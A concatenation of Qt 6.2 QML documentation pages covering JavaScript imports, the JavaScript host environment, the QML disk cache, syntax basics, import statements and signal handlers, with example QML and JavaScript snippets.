<https://doc.qt.io/qt-6.2/qtqml-javascript-dynamicobjectcreation.html>

Importing JavaScript Resources in QML
=====================================

 [JavaScript resources](qtqml-javascript-resources) may be imported by QML documents and other JavaScript resources. JavaScript resources may be imported via either relative or absolute URLs. In the case of a relative URL, the location is resolved relative to the location of the [QML document](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html) or [JavaScript Resource](qtqml-javascript-resources) that contains the import. If the script file is not accessible, an error will occur. If the JavaScript needs to be fetched from a network resource, the component's [status](qqmlcomponent#status-prop) is set to "Loading" until the script has been downloaded.

 JavaScript resources may also import QML modules and other JavaScript resources. The syntax of an import statement within a JavaScript resource differs slightly from an import statement within a QML document, which is documented thoroughly below.

 Importing a JavaScript Resource from a QML Document
---------------------------------------------------

 A QML document may import a JavaScript resource with the following syntax:

 
```
import "ResourceURL" as Qualifier
```
 For example:

 
```
import "jsfile.js" as Logic
```
 Imported JavaScript resources are always qualified using the "as" keyword. The qualifier for JavaScript resources must start with an uppercase letter, and must be unique, so there is always a one-to-one mapping between qualifiers and JavaScript files. (This also means qualifiers cannot be named the same as built-in JavaScript objects such as `Date` and `Math`).

 The functions defined in an imported JavaScript file are available to objects defined in the importing QML document, via the `"Qualifier.functionName(params)"` syntax. Functions in JavaScript resources may take parameters whose type can be any of the supported QML basic types or object types, as well as normal JavaScript types. The normal [data type conversion rules](qtqml-cppintegration-data) will apply to parameters and return values when calling such functions from QML.

 Imports Within JavaScript Resources
-----------------------------------

 In `QtQuick 2.0`, support has been added to allow JavaScript resources to import other JavaScript resources and also QML type namespaces using a variation of the standard QML import syntax (where all of the previously described rules and qualifications apply).

 Due to the ability of a JavaScript resource to import another script or QML module in this fashion in `QtQuick 2.0`, some extra semantics are defined:

 * a script with imports will not inherit imports from the QML document which imported it (so accessing Component.errorString will fail, for example)
* a script without imports will inherit imports from the QML document which imported it (so accessing Component.errorString will succeed, for example)
* a shared script (i.e., defined as .pragma library) does not inherit imports from any QML document even if it imports no other scripts or modules

 The first semantic is conceptually correct, given that a particular script might be imported by any number of QML files. The second semantic is retained for the purposes of backwards-compatibility. The third semantic remains unchanged from the current semantics for shared scripts, but is clarified here in respect to the newly possible case (where the script imports other scripts or modules).

 ### Importing a JavaScript Resource from Another JavaScript Resource

 A JavaScript resource may import another in the following fashion:

 
```
import * as MathFunctions from "factorial.mjs";
```
 Or:

 
```
.import "filename.js" as Qualifier
```
 The former is standard ECMAScript syntax for importing ECMAScript modules, and only works from within ECMAScript modules as denoted by the `mjs` file extension. The latter is an extension to JavaScript provided by the `QML` engine and will work also with non-modules. As an extension superseded by the ECMAScript standard, its usage is discouraged.

 When a JavaScript file is imported this way, it is imported with a qualifier. The functions in that file are then accessible from the importing script via the qualifier (that is, as `Qualifier.functionName(params)`).

 Sometimes it is desirable to have the functions made available in the importing context without needing to qualify them. In this case ECMAScript modules and the JavaScript `import` statement should be used without the `as` qualifier.

 For example, the QML code below left calls `showCalculations()` in `script.mjs`, which in turn can call `factorial()` in `factorial.mjs`, as it has included `factorial.mjs` using `import`.

 

|  |  |
| --- | --- |
| 
```
import QtQuick 2.0
import "script.mjs" as MyScript

Item {
    width: 100; height: 100

    MouseArea {
        anchors.fill: parent
        onClicked: {
            MyScript.showCalculations(10)
            console.log("Call factorial() from QML:",
                MyScript.factorial(10))
        }
    }
}
```
 | 
```
// script.mjs
import { factorial } from "factorial.mjs"
export { factorial }

export function showCalculations(value) {
    console.log(
        "Call factorial() from script.js:",
        factorial(value));
}
```
 |
| 
```
// factorial.mjs
export function factorial(a) {
    a = parseInt(a);
    if (a <= 0)
        return 1;
    else
        return a * factorial(a - 1);
}
```
 |

 The [Qt.include](https://doc.qt.io/qt-6.2/qml-qtqml-qt-obsolete.html#include-method)() function includes one JavaScript file from another without using ECMAScript modules and without qualifying the import. It makes all functions and variables from the other file available in the current file's namespace, but ignores all pragmas and imports defined in that file. This is not a good idea as a function call should never modify the caller's context.

 [Qt.include](https://doc.qt.io/qt-6.2/qml-qtqml-qt-obsolete.html#include-method)() is deprecated and should be avoided. It will be removed in a future version of Qt.

 ### Importing a QML Module from a JavaScript Resource

 A JavaScript resource may import a QML module in the following fashion:

 
```
.import TypeNamespace MajorVersion.MinorVersion as Qualifier
```
 Below you can see an example that also shows how to use the QML types from a module imported in javascript:

 
```
.import Qt.test 1.0 as JsQtTest

var importedEnumValue = JsQtTest.MyQmlObject.EnumValue3
```
 In particular, this may be useful in order to access functionality provided via a singleton type; see [QML\_SINGLETON](qqmlengine#QML_SINGLETON) for more information.

  **Note:** The .import syntax doesn't work for scripts used in the [WorkerScript](qml-qtqml-workerscript-workerscript)

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-javascript-imports.html>

JavaScript Host Environment
===========================

 QML provides a JavaScript host environment tailored to writing QML applications. This environment is different from the host environment provided by a browser or a server-side JavaScript environment such as Node.js. For example, QML does not provide a `window` object or `DOM API` as commonly found in a browser environment.

 Common Base
-----------

 Like a browser or server-side JavaScript environment, the QML runtime implements the [ECMAScript Language Specification](http://www.ecma-international.org/publications/standards/Ecma-262.htm) standard. This provides access to all of the built-in types and functions defined by the standard, such as Object, Array, and Math. The QML runtime implements the 7th edition of the standard.

 [Nullish Coalescing](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing_operator) (since Qt 5.15) and [Optional Chaining](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining) (since Qt 6.2) are also implemented in the QML runtime.

 The standard ECMAScript built-ins are not explicitly documented in the QML documentation. For more information on their use, please refer to the ECMA-262 7th edition standard or one of the many online JavaScript reference and tutorial sites, such as the [W3Schools JavaScript Reference](http://www.w3schools.com/jsref/default.asp) (JavaScript Objects Reference section). Many sites focus on JavaScript in the browser, so in some cases you may need to double check the specification to determine whether a given function or object is part of standard ECMAScript or specific to the browser environment. In the case of the W3Schools link above, the `JavaScript Objects Reference` section generally covers the standard, while the `Browser Objects Reference` and `HTML DOM Objects Reference` sections are browser specific (and thus not applicable to QML).

 Type annotations and assertions
-------------------------------

 Function declarations can, and should, contain type annotations. Type annotations are appended to the declaration of arguments and to the function itself, for annotating the return type. The following function takes an `int` and a `string` parameter, and returns a `QtObject`:

 
```
function doThings(a: int, b: string) : QtObject { ... }
```
 Type annotations help tools like [Qt Creator](qtquick-tools-and-utilities#qt-creator) and [qmllint](qtquick-tools-and-utilities#qmllint) to make sense of the code and provide better diagnostics. Moreover, they make functions easier to use from C++. See [Interacting with QML Objects from C++](qtqml-cppintegration-interactqmlfromcpp) for more information.

 Type assertions (sometimes called *as-casts*) can also be used in order to cast an object to a different object type. If the object is actually of the given type, then the type assertion returns the same object. If not, it returns `null`. In the following snippet we assert that the `parent` object is a `Rectangle` before accessing a specific member of it.

 
```
Item {
    property color parentColor: (parent as Rectangle)?.color || "red"
}
```
 The optional chaining (`?.`) avoids throwing an exception if the parent is actually not a rectangle. In that case "red" is chosen as `parentColor`.

 QML Global Object
-----------------

 The QML JavaScript host environment implements a number of host objects and functions, as detailed in the [QML Global Object](qtqml-javascript-qmlglobalobject) documentation.

 These host objects and functions are always available, regardless of whether any modules have been imported.

 JavaScript Objects and Functions
--------------------------------

 A list of the JavaScript objects, functions and properties supported by the QML engine can be found in the [List of JavaScript Objects and Functions](qtqml-javascript-functionlist).

 Note that QML makes the following modifications to native objects:

 * An [arg](qml-qtqml-string#arg-method)() function is added to the [String](qml-qtqml-string) prototype.
* Locale-aware conversion functions are added to the [Date](qml-qtqml-date) and [Number](qml-qtqml-number) prototypes.

 In addition, QML also extends the behavior of the instanceof function to allow for type checking against QML types. This means that you may use it to verify that a variable is indeed the type you expect, for example:

 
```
var v = something();
if (!v instanceof Item) {
    throw new TypeError("I need an Item type!");
}

...
```
 JavaScript Environment Restrictions
-----------------------------------

 QML implements the following restrictions for JavaScript code:

 * JavaScript code written in a `.qml` file cannot modify the global object. JavaScript code in a .js file can modify the global object, and those modifications will be visible to the .qml file when [imported](qtqml-javascript-imports#importing-a-javascript-resource-from-a-qml-document).In QML, the global object is constant - existing properties cannot be modified or deleted, and no new properties may be created.

 Most JavaScript programs do not intentionally modify the global object. However, JavaScript's automatic creation of undeclared variables is an implicit modification of the global object, and is prohibited in QML.

 Assuming that the `a` variable does not exist in the scope chain, the following code is illegal in QML:

 
```
// Illegal modification of undeclared variable
a = 1;
for (var ii = 1; ii < 10; ++ii)
    a = a * ii;
console.log("Result: " + a);
```
 It can be trivially modified to this legal code.

 
```
var a = 1;
for (var ii = 1; ii < 10; ++ii)
    a = a * ii;
console.log("Result: " + a);
```
 Any attempt to modify the global object - either implicitly or explicitly - will cause an exception. If uncaught, this will result in a warning being printed, that includes the file and line number of the offending code.
* Global code is run in a reduced scope.During startup, if a QML file includes an external JavaScript file with "global" code, it is executed in a scope that contains only the external file itself and the global object. That is, it will not have access to the QML objects and properties it [normally would](qtqml-documents-scope).

 Global code that only accesses script local variables is permitted. This is an example of valid global code.

 
```
var colors = [ "red", "blue", "green", "orange", "purple" ];
```
 Global code that accesses QML objects will not run correctly.

 
```
// Invalid global code - the "rootObject" variable is undefined
var initialPosition = { rootObject.x, rootObject.y }
```
 This restriction exists as the QML environment is not yet fully established. To run code after the environment setup has completed, see [JavaScript in Application Startup Code](qtqml-javascript-expressions#javascript-in-application-startup-code).
* The value of `this` is undefined in QML in the majority of contexts.The `this` keyword is supported when binding properties from JavaScript. In QML binding expressions, QML signal handlers, and QML declared functions, `this` refers to the scope object. In all other situations, the value of `this` is undefined in QML.

 To refer to a specific object, provide an `id`. For example:

 
```
Item {
    width: 200; height: 100
    function mouseAreaClicked(area) {
        console.log("Clicked in area at: " + area.x + ", " + area.y);
    }
    // This will pass area to the function
    MouseArea {
        id: area
        y: 50; height: 50; width: 200
        onClicked: mouseAreaClicked(area)
    }
}
```

 **See also** [Scope and Naming Resolution](qtqml-documents-scope).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-javascript-hostenvironment.html>

The QML Disk Cache
==================

 When your application loads a QML or JavaScript file for the first time, the QML engine compiles the file into a byte code representation on the fly and runs it. The compiling process can be time consuming, and subsequent loads of the same document yield the same result. To optimize this step, the QML engine can cache the result. It stores the byte code in a cache file and later loads the cache file instead of re-compiling when the same file is requested again. Usually the files are stored in a subdirectory `qmlcache` of the system's cache directory, as denoted by [QStandardPaths::CacheLocation](qstandardpaths#StandardLocation-enum). Checks are in place to make sure that the cache files are only loaded if all of the following conditions are met:

 * The Qt version has not changed
* The source code in the original file has not changed
* The QML debugger is not running

 The disk caching behavior can be fine tuned using the following environment variables:

 

| Environment Variable | Description |
| --- | --- |
| `QML_DISABLE_DISK_CACHE` | Disables the disk cache and forces re-compilation from source for all QML and JavaScript files. |
| `QML_FORCE_DISK_CACHE` | Enables the disk cache even when debugging QML. You cannot use the JavaScript debugger this way. It may fail to stop at breakpoints, for example. You can still use the QML inspector to explore the object hierarchy, though. `QML_FORCE_DISK_CACHE` overrides `QML_DISABLE_DISK_CACHE`. |
| `QML_DISK_CACHE_PATH` | Specifies a custom location where the cache files shall be stored instead of using the default location. |

 You can also specify `CONFIG += qtquickcompiler` in your `.pro` file to perform the compilation ahead of time and integrate the resulting byte code directly into your executable. For more information, see [Qt Quick Compiler](http://doc.qt.io/QtQuickCompiler).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qmldiskcache.html>

QML Syntax Basics
=================

 QML is a multi-paradigm language that enables objects to be defined in terms of their attributes and how they relate and respond to changes in other objects. In contrast to purely imperative code, where changes in attributes and behavior are expressed through a series of statements that are processed step by step, QML's declarative syntax integrates attribute and behavioral changes directly into the definitions of individual objects. These attribute definitions can then include imperative code, in the case where complex custom application behavior is needed.

 QML source code is generally loaded by the engine through QML *documents*, which are standalone documents of QML code. These can be used to define [QML object types](qtqml-typesystem-objecttypes) that can then be reused throughout an application. Note that type names must begin with an uppercase letter in order to be declared as QML object types in a QML file.

 Import Statements
-----------------

 A QML document may have one or more imports at the top of the file. An import can be any one of:

 * a versioned namespace into which types have been registered (e.g., by a plugin)
* a relative directory which contains type-definitions as QML documents
* a JavaScript file

 JavaScript file imports must be qualified when imported, so that the properties and methods they provide can be accessed.

 The generic form of the various imports are as follows:

 * `import Namespace VersionMajor.VersionMinor`
* `import Namespace VersionMajor.VersionMinor as SingletonTypeIdentifier`
* `import "directory"`
* `import "file.js" as ScriptIdentifier`

 Examples:

 * `import [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) 2.0`
* `import [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).LocalStorage 2.0 as Database`
* `import "../privateComponents"`
* `import "somefile.js" as Script`

 Please see the [QML Syntax - Import Statements](qtqml-syntax-imports) documentation for in-depth information about QML imports.

 Object Declarations
-------------------

 Syntactically, a block of QML code defines a tree of QML objects to be created. Objects are defined using *object declarations* that describe the type of object to be created as well as the attributes that are to be given to the object. Each object may also declare child objects using nested object declarations.

 An object declaration consists of the name of its object type, followed by a set of curly braces. All attributes and child objects are then declared within these braces.

 Here is a simple object declaration:

 
```
Rectangle {
    width: 100
    height: 100
    color: "red"
}
```
 This declares an object of type [Rectangle](qml-qtquick-rectangle), followed by a set of curly braces that encompasses the attributes defined for that object. The [Rectangle](qml-qtquick-rectangle) type is a type made available by the `QtQuick` module, and the attributes defined in this case are the values of the rectangle's `width`, `height` and `color` properties. (These are properties made available by the [Rectangle](qml-qtquick-rectangle) type, as described in the [Rectangle](qml-qtquick-rectangle) documentation.)

 The above object can be loaded by the engine if it is part of a [QML document](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html). That is, if the source code is complemented with *import* statement that imports the `QtQuick` module (to make the [Rectangle](qml-qtquick-rectangle) type available), as below:

 
```
import QtQuick 2.0

Rectangle {
    width: 100
    height: 100
    color: "red"
}
```
 When placed into a `.qml` file and loaded by the QML engine, the above code creates a [Rectangle](qml-qtquick-rectangle) object using the [Rectangle](qml-qtquick-rectangle) type supplied by the `QtQuick` module:

 ![]


 **Note:** If an object definition only has a small number of properties, it can be written on a single line like this, with the properties separated by semi-colons:

  
```
Rectangle { width: 100; height: 100; color: "red" }
```
 Obviously, the [Rectangle](qml-qtquick-rectangle) object declared in this example is very simple indeed, as it defines nothing more than a few property values. To create more useful objects, an object declaration may define many other types of attributes: these are discussed in the [QML Object Attributes](qtqml-syntax-objectattributes) documentation. Additionally, an object declaration may define child objects, as discussed below.

 ### Child Objects

 Any object declaration can define child objects through nested object declarations. In this way, **any object declaration implicitly declares an object tree that may contain any number of child objects**.

 For example, the [Rectangle](qml-qtquick-rectangle) object declaration below includes a [Gradient](qml-qtquick-gradient) object declaration, which in turn contains two [GradientStop](qml-qtquick-gradientstop) declarations:

 
```
import QtQuick 2.0

Rectangle {
    width: 100
    height: 100

    gradient: Gradient {
        GradientStop { position: 0.0; color: "yellow" }
        GradientStop { position: 1.0; color: "green" }
    }
}
```
 When this code is loaded by the engine, it creates an object tree with a [Rectangle](qml-qtquick-rectangle) object at the root; this object has a [Gradient](qml-qtquick-gradient) child object, which in turn has two [GradientStop](qml-qtquick-gradientstop) children.

 Note, however, that this is a parent-child relationship in the context of the QML object tree, not in the context of the visual scene. The concept of a parent-child relationship in a visual scene is provided by the [Item](qml-qtquick-item) type from the `QtQuick` module, which is the base type for most QML types, as most QML objects are intended to be visually rendered. For example, [Rectangle](qml-qtquick-rectangle) and [Text](qml-qtquick-text) are both [Item](qml-qtquick-item)-based types, and below, a [Text](qml-qtquick-text) object has been declared as a visual child of a [Rectangle](qml-qtquick-rectangle) object:

 
```
import QtQuick 2.0

Rectangle {
    width: 200
    height: 200
    color: "red"

    Text {
        anchors.centerIn: parent
        text: "Hello, QML!"
    }
}
```
 When the [Text](qml-qtquick-text) object refers to its [parent](qml-qtquick-item#parent-prop) value in the above code, it is referring to its *visual parent*, not the parent in the object tree. In this case, they are one and the same: the [Rectangle](qml-qtquick-rectangle) object is the parent of the [Text](qml-qtquick-text) object in both the context of the QML object tree as well as the context of the visual scene. However, while the [parent](qml-qtquick-item#parent-prop) property can be modified to change the visual parent, the parent of an object in the context of the object tree cannot be changed from QML.

 (Additionally, notice that the [Text](qml-qtquick-text) object has been declared without assigning it to a property of the [Rectangle](qml-qtquick-rectangle), unlike the earlier example which assigned a [Gradient](qml-qtquick-gradient) object to the rectangle's `gradient` property. This is because the [children](qml-qtquick-item#children-prop) property of [Item](qml-qtquick-item) has been set as the type's [default property](qtqml-syntax-objectattributes#default-properties) to enable this more convenient syntax.)

 See the [visual parent](qtquick-visualcanvas-visualparent) documentation for more information on the concept of visual parenting with the [Item](qml-qtquick-item) type.

 Comments
--------

 The syntax for commenting in QML is similar to that of JavaScript:

 * Single line comments start with // and finish at the end of the line.
* Multiline comments start with /\* and finish with \*/

 
```
Text {
    text: "Hello world!"    //a basic greeting
    /*
        We want this text to stand out from the rest so
        we give it a large size and different font.
     */
    font.family: "Helvetica"
    font.pointSize: 24
}
```
 Comments are ignored by the engine when processing QML code. They are useful for explaining what a section of code is doing, whether for reference at a later date or for explaining the implementation to others.

 Comments can also be used to prevent the execution of code, which is sometimes useful for tracking down problems.

 
```
Text {
    text: "Hello world!"
    //opacity: 0.5
}
```
 In the above example, the [Text](qml-qtquick-text) object will have normal opacity, since the line opacity: 0.5 has been turned into a comment.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-syntax-basics.html>

Import Statements
=================

 Syntax of an Import Statement
-----------------------------

 An import statement allows clients to tell the engine which modules, JavaScript resources and component directories are used within a QML document. The types which may be used within a document depends on which modules, resources and directories are imported by the document.

 ### Import Types

 There are three different types of imports. Each import type has a slightly different syntax, and different semantics apply to different import types.

 #### Module (Namespace) Imports

 The most common type of import is a module import. Clients can import [QML modules](https://doc.qt.io/qt-6.2/qtqml-modules-identifiedmodules.html) which register QML object types and JavaScript resources into a given namespace.

 The generic form of a module import is as follows:

 
```
import <ModuleIdentifier> [<Version.Number>] [as <Qualifier>]
```
 * The `<ModuleIdentifier>` is an identifier specified in dotted URI notation, which uniquely identifies the type namespace provided by the module.
* The `<Version.Number>` is a version of the form `MajorVersion.MinorVersion` which specifies which definitions of various object types and JavaScript resources will be made available due to the import. It can be omitted, in which case the latest version of the module is imported. It is also possible to only omit the minor version. Then the latest minor version of the given major version is imported.
* The `<Qualifier>` is an optional local namespace identifier into which the object types and JavaScript resources provided by the module will be installed, if given. If omitted, the object types and JavaScript resources provided by the module will be installed into the global namespace.

 An example of an unqualified module import is as follows:

 
```
import QtQuick
```
 This import allows the use of all of the types provided by the `QtQuick` module without needing to specify a qualifier. For example, the client code to create a rectangle is as follows:

 
```
import QtQuick

Rectangle {
    width: 200
    height: 100
    color: "red"
}
```
 An example of an unqualified import with version would be

 
```
import QtQuick 2.10
```
 In that case, any types defined in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) 2.11 and higher or in any higher major version, like 6.0, would not be available to the file.

 An example of a qualified module import is as follows:

 
```
import QtQuick as Quick
```
 This import allows multiple modules which provide conflicting type names to be imported at the same time, however since each usage of a type provided by a module which was imported into a qualified namespace must be preceded by the qualifier, the conflict is able to be resolved unambiguously by the QML engine.

 An example of client code which creates a rectangle after using a qualified module import is as follows:

 
```
import QtQuick as Quick

Quick.Rectangle {
    width: 200
    height: 100
    color: "red"
}
```
 For more information about qualified imports, see the upcoming section on [Importing Into A Qualified Local Namespace](qtqml-syntax-imports#importing-into-a-qualified-local-namespace).

 Note that if a QML document does not import a module which provides a particular QML object type, but attempts to use that object type anyway, an error will occur. For example, the following QML document does not import `QtQuick` and thus attempting to use the `Rectangle` type will fail:

 
```
Rectangle {
    width: 200
    height: 100
    color: "red"
}
```
 In this case, the engine will emit an error and refuse to load the file.

 ##### C++ Module Imports

 Usually, C++ types are declared using the [QML\_ELEMENT](qqmlengine#QML_ELEMENT) and [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)() macros and registered via the build system using QML\_IMPORT\_NAME and QML\_IMPORT\_MAJOR\_VERSION. The import name and version given this way form a module that can be imported to access the types.

 This is most common in client applications which define their own QML object types in C++.

 ##### Importing into a Qualified Local Namespace

 The `import` statement may optionally use the `as` keyword to specify that the types should be imported into a particular document-local namespace. If a namespace is specified, then any references to the types made available by the import must be prefixed by the local namespace qualifier.

 Below, the `QtQuick` module is imported into the namespace "CoreItems". Now, any references to types from the `QtQuick` module must be prefixed with the `CoreItems` name:

 
```
import QtQuick as CoreItems

CoreItems.Rectangle {
    width: 100; height: 100

    CoreItems.Text { text: "Hello, world!" }

    // WRONG! No namespace prefix - the Text type won't be found
    Text { text: "Hello, world!" }
}
```
 A namespace acts as an identifier for a module within the scope of the file. The namespace does not become an attribute of the root object that can be referred to externally as can be done with properties, signals and methods.

 The namespaced import is useful if there is a requirement to use two QML types that have the same name but are located in different modules. In this case the two modules can be imported into different namespaces to ensure the code is referring to the correct type:

 
```
import QtQuick as CoreItems
import "../textwidgets" as MyModule

CoreItems.Rectangle {
    width: 100; height: 100

    MyModule.Text { text: "Hello from my custom text item!" }
    CoreItems.Text { text: "Hello from Qt Quick!" }
}
```
 Note that multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace. For example:

 
```
import QtQuick as Project
import QtMultimedia as Project

Project.Rectangle {
    width: 100; height: 50

    Project.Audio {
        source: "music.wav"
        autoPlay: true
    }
}
```
 #### Directory Imports

 A directory which contains QML documents may also be imported directly in a QML document. This provides a simple way for QML types to be segmented into reusable groupings: directories on the filesystem.

 The generic form of a directory import is as follows:

 
```
import "<DirectoryPath>" [as <Qualifier>]
```
  **Note:** Import paths are network transparent: applications can import documents from remote paths just as simply as documents from local paths. See the general URL resolution rules for [Network Transparency](qtqml-documents-networktransparency) in QML documents. If the directory is remote, it must contain a [directory import listing qmldir file](qtqml-syntax-directoryimports#directory-listing-qmldir-files) as the QML engine cannot determine the contents of a remote directory if that `qmldir` file does not exist.

  Similar semantics for the `<Qualifier>` apply to directory imports as for module imports; for more information on the topic, please see the previous section about [Importing into a Qualified Local Namespace](qtqml-syntax-imports#importing-into-a-qualified-local-namespace).

 For more information about directory imports, please see the in-depth documentation about [directory imports](qtqml-syntax-directoryimports).

 #### JavaScript Resource Imports

 JavaScript resources may be imported directly in a QML document. Every JavaScript resource must have an identifier by which it is accessed.

 The generic form of a JavaScript resource import is as follows:

 
```
import "<JavaScriptFile>" as <Identifier>
```
 Note that the `<Identifier>` must be unique within a QML document, unlike the local namespace qualifier which can be applied to module imports.

 ##### JavaScript Resources from Modules

 Javascript files can be provided by modules, by adding identifier definitions to the `qmldir` file which specifies the module.

 For example, if the `projects.MyQMLProject.MyFunctions` module is specified with the following `qmldir` file, and installed into the QML import path:

 
```
module projects.MyQMLProject.MyFunctions
SystemFunctions 1.0 SystemFunctions.js
UserFunctions 1.0 UserFunctions.js
```
 a client application is able to import the JavaScript resources declared in the module by importing the module and using the identifier associated with a declared resource:

 
```
import QtQuick
import projects.MyQMLProject.MyFunctions

Item {
    Component.onCompleted: { SystemFunctions.cleanUp(); }
}
```
 If the module was imported into a document-local namespace, the JavaScript resource identifiers must be prefixed with the namespace qualifier in order to be used:

 
```
import QtQuick
import projects.MyQMLProject.MyFunctions as MyFuncs
import org.example.Functions as TheirFuncs

Item {
    Component.onCompleted: {
        MyFuncs.SystemFunctions.cleanUp();
        TheirFuncs.SystemFunctions.shutdown();
    }
}
```
 ##### Further Information

 For more information about JavaScript resources, please see the documentation about [defining JavaScript resources in QML](qtqml-javascript-resources), and for more information about how to import JavaScript resources, and how imports can be used from within JavaScript resources, please see the in-depth documentation about [importing JavaScript resources in QML](qtqml-javascript-imports).

 QML Import Path
---------------

 When an [identified module](https://doc.qt.io/qt-6.2/qtqml-modules-identifiedmodules.html) is imported, the QML engine searches the *import path* for a matching module.

 This import path, as returned by [QQmlEngine::importPathList](qqmlengine#importPathList)(), defines the default locations to be searched by the engine. By default, this list contains:

 * The directory of the current file
* The location specified by [QLibraryInfo::QmlImportsPath](qlibraryinfo#LibraryPath-enum)
* Paths specified by the `QML_IMPORT_PATH` environment variable
* The qrc:/qt-project.org/imports path inside the resources.

 Additional import paths can be added through [QQmlEngine::addImportPath](qqmlengine#addImportPath)() or the `QML_IMPORT_PATH` environment variable. When running the [qml tool](qtquick-qml-runtime), you can also use the `-I` option to add an import path.

 You can specify multiple import paths in the `QML_IMPORT_PATH` environment variable by joining them using the path separator. On Windows the path separator is a semicolon (;), on other platforms it is a colon (:). This means that you cannot specify resource paths or URLs in QML\_IMPORT\_PATH, as they contain colons themselves. However, you can add resource paths and URLs by calling [QQmlEngine::addImportPath](qqmlengine#addImportPath)() programatically.

 Debugging
---------

 The `QML_IMPORT_TRACE` environment variable can be useful for debugging when there are problems with finding and loading modules. See [Debugging module imports](qtquick-debugging#debugging-module-imports) for more information.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-syntax-imports.html>

Signal and Handler Event System
===============================

 Application and user interface components need to communicate with each other. For example, a button needs to know that the user has clicked on it. The button may change colors to indicate its state or perform some logic. As well, application needs to know whether the user is clicking the button. The application may need to relay this clicking event to other applications.

 QML has a signal and handler mechanism, where the *signal* is the event and the signal is responded to through a *signal handler*. When a signal is emitted, the corresponding signal handler is invoked. Placing logic such as a script or other operations in the handler allows the component to respond to the event.

 Receiving signals with signal handlers
--------------------------------------

 To receive a notification when a particular signal is emitted for a particular object, the object definition should declare a signal handler named *on<Signal>*, where *<Signal>* is the name of the signal, with the first letter capitalized. The signal handler should contain the JavaScript code to be executed when the signal handler is invoked.

 For example, the [Button](qml-qtquick-controls2-button) type from the [Qt Quick Controls](qtquickcontrols-index) module has a `clicked` signal, which is emitted whenever the button is clicked. In this case, the signal handler for receiving this signal should be `onClicked`. In the example below, whenever the button is clicked, the `onClicked` handler is invoked, applying a random color to the parent [Rectangle](qml-qtquick-rectangle):

 
```
import QtQuick
import QtQuick.Controls

Rectangle {
    id: rect
    width: 250; height: 250

    Button {
        anchors.bottom: parent.bottom
        anchors.horizontalCenter: parent.horizontalCenter
        text: "Change color!"
        onClicked: {
            rect.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1);
        }
    }
}
```
 ### Property change signal handlers

 A signal is automatically emitted when the value of a QML property changes. This type of signal is a *property change signal* and signal handlers for these signals are written in the form *on<Property>Changed*, where *<Property>* is the name of the property, with the first letter capitalized.

 For example, the [MouseArea](qml-qtquick-mousearea) type has a [pressed](qml-qtquick-mousearea#pressed-signal) property. To receive a notification whenever this property changes, write a signal handler named `onPressedChanged`:

 
```
import QtQuick

Rectangle {
    id: rect
    width: 100; height: 100

    TapHandler {
        onPressedChanged: console.log("taphandler pressed?", pressed)
    }
}
```
 Even though the [TapHandler](qml-qtquick-taphandler) documentation does not document a signal handler named `onPressedChanged`, the signal is implicitly provided by the fact that the `pressed` property exists.

 ### Signal parameters

 Signals might have parameters. To access those, you should assign a function to the handler. Both arrow functions and anonymous functions work.

 For the following examples, consider a Status component with an errorOccurred signal (see [Adding signals to custom QML types](qtqml-syntax-signals#adding-signals-to-custom-qml-types) for more information about how signals can be added to QML components).

 
```
// Status.qml
import QtQuick

Item {
    id: myitem
    signal errorOccurred(message: string, line: int, column: int)
}
```
 
```
Status {
    onErrorOccurred: (mgs, line, col) => console.log(`${line}:${col}: ${msg}`)
}
```
  **Note:** The names of the formal parameters in the function do not have to match those in the signal.

  If you do not need to handle all parameters, it is possible to omit trailing ones:

 
```
Status {
    onErrorOccurred: function (message) { console.log(message) }
}
```
 It is not possible to leave out leading parameters you are interested in, however you can use some placeholder name to indicate to readers that they are not important:

 
```
Status {
    onErrorOccurred: (_, _, col) => console.log(`Error happened at column ${col}`)
}
```
  **Note:** Instead of using a function, it is possible, but discouraged, to use a plain code block. In that case all signal parameters get injected into the scope of the block. However, this can make code difficult to read as it's unclear where the parameters come from, and results in slower lookups in the QML engine. Injecting parameters in this way is deprecated, and will cause runtime warnings if the parameter is actually used.

  ### Using the Connections type

 In some cases it may be desirable to access a signal outside of the object that emits it. For these purposes, the `QtQuick` module provides the [Connections](qml-qtqml-connections) type for connecting to signals of arbitrary objects. A [Connections](qml-qtqml-connections) object can receive any signal from its specified [target](qml-qtqml-connections#target-prop).

 For example, the `onClicked` handler in the earlier example could have been received by the root [Rectangle](qml-qtquick-rectangle) instead, by placing the `onClicked` handler in a [Connections](qml-qtqml-connections) object that has its [target](qml-qtqml-connections#target-prop) set to the `button`:

 
```
import QtQuick
import QtQuick.Controls

Rectangle {
    id: rect
    width: 250; height: 250

    Button {
        id: button
        anchors.bottom: parent.bottom
        anchors.horizontalCenter: parent.horizontalCenter
        text: "Change color!"
    }

    Connections {
        target: button
        function onClicked() {
            rect.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1);
        }
    }
}
```
 ### Attached signal handlers

 An [attached signal handler](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers) receives a signal from an *attaching type* rather than the object within which the handler is declared.

 For example, [Component.onCompleted](qml-qtqml-component#completed-signal) is an attached signal handler. It is often used to execute some JavaScript code when its creation process is complete. Here is an example:

 
```
import QtQuick

Rectangle {
    width: 200; height: 200
    color: Qt.rgba(Qt.random(), Qt.random(), Qt.random(), 1)

    Component.onCompleted: {
        console.log("The rectangle's color is", color)
    }
}
```
